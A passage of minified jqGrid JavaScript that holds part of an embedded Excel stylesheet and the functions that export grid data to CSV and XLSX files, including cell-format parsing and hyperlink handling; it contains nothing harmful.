auto="1" /></top><bottom style="thin"><color auto="1" /></bottom><diagonal /></border></borders><cellStyleXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" /></cellStyleXfs><cellXfs count="69"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="left"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="center"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="right"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="fill"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment textRotation="90"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment wrapText="1"/></xf><xf numFmtId="9" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="1" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="2" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="170" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="49" fontId="0" fillId="0" borderId="0" xfId="0" applyNumberFormat="1"/></cellXfs><cellStyles count="1"><cellStyle name="Normal" xfId="0" builtinId="0" /></cellStyles><dxfs count="0" /><tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" /></styleSheet>'},excelParsers:[{match:/^\-?\d+\.\d%$/,style:60,fmt:function(e){return e/100}},{match:/^\-?\d+\.?\d*%$/,style:56,fmt:function(e){return e/100}},{match:/^\-?\$[\d,]+.?\d*$/,style:57},{match:/^\-?£[\d,]+.?\d*$/,style:58},{match:/^\-?€[\d,]+.?\d*$/,style:59},{match:/^\-?\d+$/,style:65},{match:/^\-?\d+\.\d{2}$/,style:66},{match:/^\([\d,]+\)$/,style:61,fmt:function(e){return-1*e.replace(/[\(\)]/g,"")}},{match:/^\([\d,]+\.\d{2}\)$/,style:62,fmt:function(e){return-1*e.replace(/[\(\)]/g,"")}},{match:/^\-?[\d,]+$/,style:63},{match:/^\-?[\d,]+\.\d{2}$/,style:64},{match:/^\d{4}\-\d{2}\-\d{2}$/,style:67},{match:/(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/gi,style:4}],addExcelStyle:function(e,t,r,l){t=te.extend({numFmtId:"0",fontId:"0",fillId:"0",borderId:"0",applyFont:"1",applyFill:"1",applyBorder:"1",xfId:"0",applyNumberFormat:"0",applyAlignment:"0"},t||{}),r=te.extend({horizontal:"left",indent:"0",shrinkToFit:"1",textRotation:"0",vertical:"center",wrapText:"0"},r||{}),te.isEmptyObject(e)&&(e.excel_parsers=!0);var o,a,n,d,i=l.getElementsByTagName("numFmts")[0],p=l.getElementsByTagName("cellXfs")[0],s=null,m=null;for(o in e)e.hasOwnProperty(o)&&(-1!==o.indexOf("format")&&(s=o),-1!==o.indexOf("style"))&&(m=o);return m&&!e[m]&&(a=d=0,s&&e[s]&&(n=te(i.getElementsByTagName("numFmt")),te.each(n,function(e,t){d++,a=Math.max(a,parseInt(te(t).attr("numFmtId"),10))}),n=te.jgrid.makeNode(l,"numFmt",{attr:{numFmtId:a+1,formatCode:e[s]}}),i.appendChild(n),te(i).attr("count",d+1)),i=0!==a?a+1+"":"0",d=0,t.numFmtId=i,n="1"===t.applyAlignment?te.jgrid.makeNode(l,"xf",{attr:t,children:[te.jgrid.makeNode(l,"alignment",{attr:r})]}):te.jgrid.makeNode(l,"xf",{attr:t}),p.appendChild(n),d=te("cellXfs xf",l).length,te(p).attr("count",d),e[m]=d-1),e},newExcelStyle:function(e,t){t=te.extend(!0,{font:{size:11,name:"Calibri",options:""},color:{patternType:"solid",fgColor:"FFFFFFF",bgColor:64}},t||{});var e=e.xl["styles.xml"],r=te("cellXfs xf",e).length-1,l=te("fonts font",e).length-1,o=te("fills fill",e).length-1,a='<font><sz val="'+t.font.size+'" /><name val="'+t.font.name+'" />'+t.font.options+"</font>",a=(e.childNodes[0].childNodes[1].innerHTML+=a,"indexed="),t=(0<=parseInt(t.color.bgColor,10)&&(a="rgb="),a+='"'+t.color.bgColor+'"','<fill><patternFill patternType="'+t.color.patternType+'"><fgColor rgb="'+t.color.fgColor+'" /><bgColor '+a+" /></patternFill></fill>"),a=(e.childNodes[0].childNodes[2].innerHTML+=t,'<xf numFmtId="0" fontId="'+(1+l)+'" fillId="'+(1+o)+'" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"></xf>');return e.childNodes[0].childNodes[5].innerHTML+=a,1+r}}),te.jgrid.extend({exportToCsv:function(N){N=te.extend(!0,{separator:",",separatorReplace:" ",quote:'"',escquote:'"',newLine:"\r\n",replaceNewLine:" ",includeCaption:!0,includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.csv",mimetype:"text/csv;charset=utf-8",returnAsString:!1,onBeforeExport:null,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},N||{});var S="";return this.each(function(){N._regexsep=new RegExp(N.separator,"g"),N._regexquot=new RegExp(N.quote,"g");var e,t,j=this,r=j.p.treeGrid?te(j).jqGrid("getRowData",null,!0,N.treeindent,N.visibleTreeNodes):j.addLocalData(!0),l=r.length,o=j.p.colModel,a=o.length,n=j.p.colNames,d=0,i="",p="",s="",m="",f="",c=[],u="";function g(s,m){var f="",c=j.p.groupingView,u=[],g=c.groupField.length,y=j.p.colModel,h=y.length,x=0;function I(e,t,r,l){for(var o,a,n=function(e,t,r){var l,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(l=e;0<=l;l--)if(r[l].idx===a-t){o=r[l];break}}return o}(e,t,r),d=n.cnt,i=new Array(m.collen),p=0,s=l;s<h;s++)y[s]._expcol&&(a="{0}",te.each(n.summary,function(){if(this.nm===y[s].name){y[s].summaryTpl&&(a=y[s].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<d&&(o=this.v/d));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value,o=j.formatter("",o,s,this)}catch(e){o=this.v}return i[p]=te.jgrid.formatCellCsv(te.jgrid.stripHtml(te.jgrid.template(a,o)),m),!1}}),p++);return i}te.each(y,function(e,t){for(var r=0;r<g;r++)if(c.groupField[r]===t.name){u[r]=e;break}});var F,b,v=te.makeArray(c.groupSummary);if(v.reverse(),"local"===j.p.datatype&&!j.p.loadonce){te(j).jqGrid("groupingSetup");for(var e=te.jgrid.getMethod("groupingPrepare"),t=0;t<l;t++)e.call(te(j),r[t],t)}return te.each(c.groups,function(e,t){x++;try{F=Array.isArray(c.formatDisplayField)&&te.jgrid.isFunction(c.formatDisplayField[t.idx])?c.formatDisplayField[t.idx].call(j,t.displayValue,t.value,j.p.colModel[u[t.idx]],t.idx,c):j.formatter("",t.displayValue,u[t.idx],t.value)}catch(e){F=t.displayValue}var r,l="";if("string"!=typeof(l=te.jgrid.isFunction(c.groupText[t.idx])?c.groupText[t.idx].call(j,F,t.cnt,t.summary):te.jgrid.template(c.groupText[t.idx],F,t.cnt,t.summary))&&"number"!=typeof l&&(l=F),(r="header"===c.groupSummaryPos[t.idx]?I(e,0,c.groups,0):new Array(m.collen))[0]=te.jgrid.formatCellCsv(te.jgrid.stripHtml(l),m),f+=r.join(m.separator)+m.newLine,g-1===t.idx){for(var o,a,n,d=c.groups[e+1],l=t.startRow,i=void 0!==d?d.startRow:c.groups[e].startRow+c.groups[e].cnt,p=l;p<i&&s[+p];p++){for(a=s[+p],o=b=0;o<y.length;o++)y[o]._expcol&&(r[b]=te.jgrid.formatCellCsv(te.jgrid.formatCell(te.jgrid.getAccessor(a,y[o].name),o,a,y[o],j,"csv"),m),b++);f+=r.join(m.separator)+m.newLine}if("header"!==c.groupSummaryPos[t.idx]){if(void 0!==d){for(n=0;n<c.groupField.length&&d.dataIndex!==c.groupField[n];n++);x=c.groupField.length-n}for(o=0;o<x;o++)v[o]&&(r=I(e,o,c.groups,0),f+=r.join(m.separator)+m.newLine);x=n}}}),f}te.jgrid.isFunction(N.loadIndicator)?N.loadIndicator.call(j,"show"):N.loadIndicator&&te(j).jqGrid("progressBar",{method:"show",loadtype:j.p.loadui,htmlcontent:te.jgrid.getRegional(j,"defaults.loadtext")});var y,h,x=[];if(te.each(o,function(e,t){t._expcol=!0,void 0===t.exportcol?t.hidden&&(t._expcol=!1):t._expcol=t.exportcol,"cb"!==t.name&&"rn"!==t.name&&"subgrid"!==t.name&&"sc"!==t.name||(t._expcol=!1),t._expcol&&(c.push(te.jgrid.formatCellCsv(n[e],N)),x.push(t.name))}),N.includeLabels&&(f=c.join(N.separator)+N.newLine),N.collen=c.length,j.p.grouping){var I=!!j.p.groupingView._locgr;j.p.groupingView._locgr=!1,i+=g(r,N),j.p.groupingView._locgr=I}else for(;d<l;){for(e=r[d],w=[],b=t=0;b<a;b++)o[b]._expcol&&(w[t]=te.jgrid.formatCellCsv(te.jgrid.formatCell(te.jgrid.getAccessor(e,o[b].name),b,e,o[b],j,"csv"),N),t++);i+=w.join(N.separator)+N.newLine,d++}if(r=null,w=new Array(N.collen),N.includeCaption&&j.p.caption){for(d=N.collen;--d;)w[d]="";w[0]=te.jgrid.formatCellCsv(j.p.caption,N),p+=w.join(N.separator)+N.newLine}if(N.includeGroupHeader&&te(j).jqGrid("isGroupHeaderOn"))for(var F=j.p.groupHeader,b=0;b<F.length;b++){for(var v=F[b].groupHeaders,d=0,w=[],C=0;C<x.length;C++){for(w[d]="",t=0;t<v.length;t++)v[t].startColumnName===x[C]&&(w[d]=te.jgrid.formatCellCsv(v[t].titleText,N));d++}s+=w.join(N.separator)+N.newLine}if(N.includeFooter&&j.p.footerrow)for(var _,B,T=te(j).jqGrid("footerData","getlength"),k=0;k<T;k++){for(_=te(j).jqGrid("footerData","get",null,!1,k,!1),b=0,w=[];b<N.collen;)_.hasOwnProperty(B=x[b])&&w.push(te.jgrid.formatCellCsv(te.jgrid.stripHtml(_[B]),N)),b++;m+=w.join(N.separator)+N.newLine}if(N.includeHeader&&j.p.headerrow)for(T=te(j).jqGrid("headerData","getlength"),k=0;k<T;k++){for(y=te(j).jqGrid("headerData","get",null,!1,k,!1),b=0,w=[];b<N.collen;)y.hasOwnProperty(h=x[b])&&w.push(te.jgrid.formatCellCsv(te.jgrid.stripHtml(y[h]),N)),b++;u+=w.join(N.separator)+N.newLine}if(S=p+s+f+u+i+m,te.jgrid.isFunction(N.loadIndicator)?N.loadIndicator.call(j,"hide"):N.loadIndicator&&te(j).jqGrid("progressBar",{method:"hide",loadtype:j.p.loadui}),te.jgrid.isFunction(N.onBeforeExport)&&!(S=N.onBeforeExport.call(j,S)))throw"Before export does not return data!";N.returnAsString||(-1!==N.mimetype.toUpperCase().indexOf("UTF-8")&&(S="\ufeff"+S),te.jgrid.saveAs(S,N.fileName,{type:N.mimetype}))}),S},exportToExcel:function(ee){ee=te.extend(!0,{includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.xlsx",mimetype:"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",maxlength:40,onBeforeExport:null,customizeData:null,replaceStr:null,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},ee||{}),this.each(function(){for(var e,t,F=this,r=te.jgrid.excelStrings,y=0,h=te.parseXML(r["xl/worksheets/sheet1.xml"]),G=h.getElementsByTagName("sheetData")[0],l=te.parseXML(r["xl/styles.xml"]),r={_rels:{".rels":te.parseXML(r["_rels/.rels"])},xl:{_rels:{"workbook.xml.rels":te.parseXML(r["xl/_rels/workbook.xml.rels"])},"workbook.xml":te.parseXML(r["xl/workbook.xml"]),"styles.xml":l,worksheets:{"sheet1.xml":h}},"[Content_Types].xml":te.parseXML(r["[Content_Types].xml"])},b=F.p.colModel,o=0,v={body:F.p.treeGrid?te(F).jqGrid("getRowData",null,!0,ee.treeindent,ee.visibleTreeNodes):F.addLocalData(!0),header:[],footer:[],width:[],map:[],parser:[],labels:[],hidden:[],mergecell:[]},P=te.jgrid.addExcelStyle({excel_header_style:""},{fontId:"2",applyAlignment:"1"},{horizontal:"center",vertical:"center"},l).excel_header_style,a=0,n=b.length;a<n;a++)b[a]._expcol=!0,void 0===b[a].exportcol?b[a].hidden&&(b[a]._expcol=!1):b[a]._expcol=b[a].exportcol,void 0===b[a]._colspancell&&(b[a]._colspancell=!1),te.jgrid.isServiceCol(b[a].name)||!b[a]._expcol?v.hidden.push(b[a].name):(v.header[o]=b[a].name,v.width[o]=5,v.map[o]=a,v.labels[o]=F.p.colNames[a],b[a].hasOwnProperty("exportoptions")?(e={},t={},b[a].exportoptions.excel_format&&(e=te.jgrid.addExcelStyle({excel_format:b[a].exportoptions.excel_format,excel_style:b[a].exportoptions.excel_style||""},{},{},l)),b[a].exportoptions.excel_header_format&&(t=te.jgrid.addExcelStyle({excel_header_format:b[a].exportoptions.excel_header_format,excel_header_style:b[a].exportoptions.excel_header_style||""},{fontId:"2",applyAlignment:"1"},{horizontal:"center"},l)),v.parser[a]=te.extend(e,t),b[a].exportoptions.replace_format&&(v.parser[a].replace_format=b[a].exportoptions.replace_format),b[a].exportoptions.replace_header_format&&(v.parser[a].replace_header_format=b[a].exportoptions.replace_header_format)):v.parser[a]={excel_parsers:!0},o++);if(ee.includeFooter||F.p.footerrow)for(var d,O=te(F).jqGrid("footerData","getlength"),E=0;E<O;E++){for(o in d=te(F).jqGrid("footerData","get",null,!1,E,!1))d.hasOwnProperty(o)&&(d[o]=te.jgrid.stripHtml(d[o]));v.footer.push(d)}function x(e,t){return te.jgrid.makeNode(h,"c",{attr:e,children:[te.jgrid.makeNode(h,"v",{text:t})]})}function I(e,t,r){return te.jgrid.makeNode(h,"c",{attr:{t:"inlineStr",r:e,s:r=void 0===r?68:r},children:{row:te.jgrid.makeNode(h,"is",{children:{row:te.jgrid.makeNode(h,"t",{text:t})}})}})}te.jgrid.isFunction(ee.customizeData)&&ee.customizeData.call(F,v);var L,j,V=te.jgrid.isFunction(ee.replaceStr)?ee.replaceStr:function(e){return e.replace(/</g,"<").replace(/>/g,">").replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g,"")},w=function(e,t,r,l){void 0===r&&(r=!1),void 0===l&&(l=!1),L=y+1,j=te.jgrid.makeNode(h,"row",{attr:{r:L}});for(var o,a,n=0;n<v.header.length;n++){var d,i,p=te.jgrid.excelCellPos(n)+""+L,s=(null==(g=Array.isArray(e)&&t?v.labels[n]:te.jgrid.getAccessor(e,v.header[n]))&&(g=""),t||(g=0===n&&l||l&&""===g?g:te.jgrid.formatCell(g,v.map[n],e,b[v.map[n]],F,"excel"))&&(" "===g||" "===g||1===g.length&&160===g.charCodeAt(0))&&(g=""),v.width[n]=Math.max(v.width[n],Math.min(parseInt(g.toString().length,10),ee.maxlength)),d=null,v.parser[v.map[n]]);if(t&&r)s.replace_header_format&&(g=s.replace_header_format(g)),d=void 0!==s.excel_header_style?"text"===s.excel_header_style?I(p,g):s.excel_header_style<=55?I(p,g,s.excel_header_style):x({r:p,s:s.excel_header_style},g):I(p,g,P),j.appendChild(d);else if(!0!==s.excel_parsers||d)void 0===s.excel_style||t||d||(s.replace_format&&(g=s.replace_format(g)),d="text"===s.excel_style?I(p,g):s.excel_style<=55?I(p,g,s.excel_style):x({r:p,s:s.excel_style},g),j.appendChild(d));else for(var m=0,f=te.jgrid.excelParsers.length;m<f;m++){var c=te.jgrid.excelParsers[m];if(g.match&&!g.match(/^0\d+/)&&g.match(c.match)){var u=g,g=g.replace(/[^\d\.\-]/g,"");if(c.fmt&&(g=c.fmt(g)),67===c.style)d=x({t:"d",r:p,s:c.style},g);else if(4===c.style)o=u,a=void 0,(a=document.createElement("div")).innerHTML=o,d=(g="A"===(o=a.firstChild).nodeName?[o.href,o.text]:"#text"===o.nodeName&&[o.textContent,o.textContent])?(a={t:"str",r:p,s:c.style},o='HYPERLINK("'+g[0]+'","'+g[1]+'")',te.jgrid.makeNode(h,"c",{attr:a,children:[te.jgrid.makeNode(h,"f",{text:o})]})):I(p,u);else{if(te.inArray(c.style,["63","64","65","66"])&&15<g.toString().length){d=I(p,u.replace?V(u):u),j.appendChild(d);break}d=x({r:p,s:c.style},g)}j.appendChild(d);break}}d||(g.match&&(i=g.match(/^-?([1-9]\d+)(\.(\d+))?$/)),d="number"==typeof g&&g.toString().length<=15||i&&i[1].length+(i[2]?i[3].length:0)<=15?x({t:"n",r:p},g):I(p,g.replace?V(g):g),j.appendChild(d))}G.appendChild(j),y++};function M(s){var m=F.p.groupingView,f=[],c=m.groupField.length,u=b.length,g=0;function y(e,t,r,l){for(var o,a,n=function(e,t,r){var l,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(l=e;0<=l;l--)if(r[l].idx===a-t){o=r[l];break}}return o}(e,t,r),d=n.cnt,i=h(v.header),p=l;p<u;p++)b[p]._expcol&&(a="{0}",te.each(n.summary,function(){if(this.nm===b[p].name){b[p].summaryTpl&&(a=b[p].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<d&&(o=this.v/d));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return i[this.nm]=te.jgrid.stripHtml(te.jgrid.template(a,o)),!1}}));return i}function h(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}te.each(b,function(e,t){for(var r=0;r<c;r++)if(m.groupField[r]===t.name){f[r]=e;break}});var x,I=te.makeArray(m.groupSummary);if(I.reverse(),"local"===F.p.datatype&&!F.p.loadonce){te(F).jqGrid("groupingSetup");for(var e=te.jgrid.getMethod("groupingPrepare"),t=0;t<v.body.length;t++)e.call(te(F),v.body[t],t)}te.each(m.groups,function(e,t){g++;try{x=Array.isArray(m.formatDisplayField)&&te.jgrid.isFunction(m.formatDisplayField[t.idx])?m.formatDisplayField[t.idx].call(F,t.displayValue,t.value,F.p.colModel[f[t.idx]],t.idx,m):F.formatter("",t.displayValue,f[t.idx],t.value)}catch(e){x=t.displayValue}var r="",l=("string"!=typeof(r=te.jgrid.isFunction(m.groupText[t.idx])?m.groupText[t.idx].call(F,x,t.cnt,t.summary):te.jgrid.template(m.groupText[t.idx],x,t.cnt,t.summary))&&"number"!=typeof r&&(r=x),"header"===m.groupSummaryPos[t.idx]?y(e,0,m.groups,0):h(v.header));if(l[Object.keys(l)[0]]=te.jgrid.stripHtml(new Array(5*t.idx).join(" ")+r),w(l,!1,!1,!0),c-1===t.idx){for(var o,a,n=m.groups[e+1],r=t.startRow,d=void 0!==n?n.startRow:m.groups[e].startRow+m.groups[e].cnt,i=r;i<d&&s[+i];i++){var p=s[+i];w(p,!1)}if("header"!==m.groupSummaryPos[t.idx]){if(void 0!==n){for(a=0;a<m.groupField.length&&n.dataIndex!==m.groupField[a];a++);g=m.groupField.length-a}for(o=0;o<g;o++)I[o]&&(l=y(e,o,m.groups,0),w(l,!1,!1,!0));g=a}}})}te.jgrid.isFunction(ee.loadIndicator)?ee.loadIndicator.call(F,"show"):ee.loadIndicator&&te(F).jqGrid("progressBar",{method:"show",loadtype:F.p.loadui,htmlcontent:te.jgrid.getRegional(F,"defaults.loadtext")}),te("sheets sheet",r.xl["workbook.xml"]).attr("name",ee.sheetName);var i,p,s,m,f,c,u=0,g=[],C={};if(ee.includeGroupHeader&&te(F).jqGrid("isGroupHeaderOn"))for(i=F.p.groupHeader,s=0;s<i.length;s++){var _,B,T,k,N=i[s].groupHeaders,R=i[s].useColSpanStyle&&1===i.length,z=[],$=[],X=[];if(u++,R)for(_=0;_<N.length;_++)for(p=N[_].startColumnName,B=N[_].numberOfColumns,k=T=te.jgrid.getElemByAttrVal(b,"name",p,!0);k<T+N[_].numberOfColumns;k++)X[b[k].name]=p,-1!==(m=v.header.indexOf(b[k].name))&&z.push(m);for(a=0;a<v.header.length;a++){for(C[p=v.header[a]]=R?v.labels[a]:"",c=f=-1,_=0;_<N.length;_++)if(N[_].startColumnName===p){for($.push(p),C[p]=N[_].titleText,B=N[_].numberOfColumns,k=T=te.jgrid.getElemByAttrVal(b,"name",p,!0);k<T+N[_].numberOfColumns;k++)!0===b[k].hidden&&B--;f=te.jgrid.excelCellPos(a)+u,c=te.jgrid.excelCellPos(a+B-1)+u,g.push({ref:f+":"+c})}-1===f&&-1===c&&R&&-1===z.indexOf(a)&&(f=te.jgrid.excelCellPos(a)+u,c=te.jgrid.excelCellPos(a)+(u+1),g.push({ref:f+":"+c}))}if($.length<N.length)for(_=0;_<v.hidden.length;_++){var S=te.jgrid.inColumnHeader(v.hidden[_],N);if(0<=S)for(var A in p=v.hidden[_],X)if(X[A]===p&&C[A]){for(C[A]=N[S].titleText,m=v.header.indexOf(A),B=N[S].numberOfColumns,k=T=te.jgrid.getElemByAttrVal(b,"name",p,!0);k<T+N[S].numberOfColumns;k++)!0===b[k].hidden&&B--;f=te.jgrid.excelCellPos(m)+u,c=te.jgrid.excelCellPos(m+B-1)+u,g.push({ref:f+":"+c});break}}w(C,!0,!0)}if(ee.includeLabels)if(F.p.colSpanHeader.length){for(u++,i=F.p.colSpanHeader,C={},a=0;a<v.header.length;a++)for(C[p=v.header[a]]=v.labels[a],s=0;s<i.length;s++)(N=i[s]).startColumnName===p&&(C[p]=N.titleText,f=te.jgrid.excelCellPos(a)+u,c=te.jgrid.excelCellPos(a+N.numberOfColumns-1)+u,g.push({ref:f+":"+c}));w(C,!0,!0)}else w(v.header,!0,!0);if((g=v.mergecell.length?g.concat(v.mergecell):g).length){var U=te.jgrid.makeNode(h,"mergeCells",{attr:{count:g.length}});for(te("worksheet",h).append(U),o=0;o<g.length;o++)U.appendChild(te.jgrid.makeNode(h,"mergeCell",{attr:g[o]}))}if(ee.includeHeader||F.p.headerrow)for(var H,Z=te(F).jqGrid("headerData","getlength"),W=0;W<Z;W++){for(o in H=te(F).jqGrid("headerData","get",null,!1,W,!1))H.hasOwnProperty(o)&&(H[o]=te.jgrid.stripHtml(H[o]));te.isEmptyObject(H)||(w(H,!0),te("row",h).last().find("c").attr("s","2"))}if(F.p.grouping){var J=!!F.p.groupingView._locgr;F.p.groupingView._locgr=!1,M(v.body),F.p.groupingView._locgr=J}else for(var D=0,K=v.body.length;D<K;D++)w(v.body[D],!1);if((ee.includeFooter||F.p.footerrow)&&!te.isEmptyObject(v.footer))if(Array.isArray(v.footer))for(D=0;D<v.footer.length;D++)w(v.footer[D],!0),te("row",h).last().find("c").attr("s","2");else w(v.footer,!0),te("row",h).last().find("c").attr("s","2");var 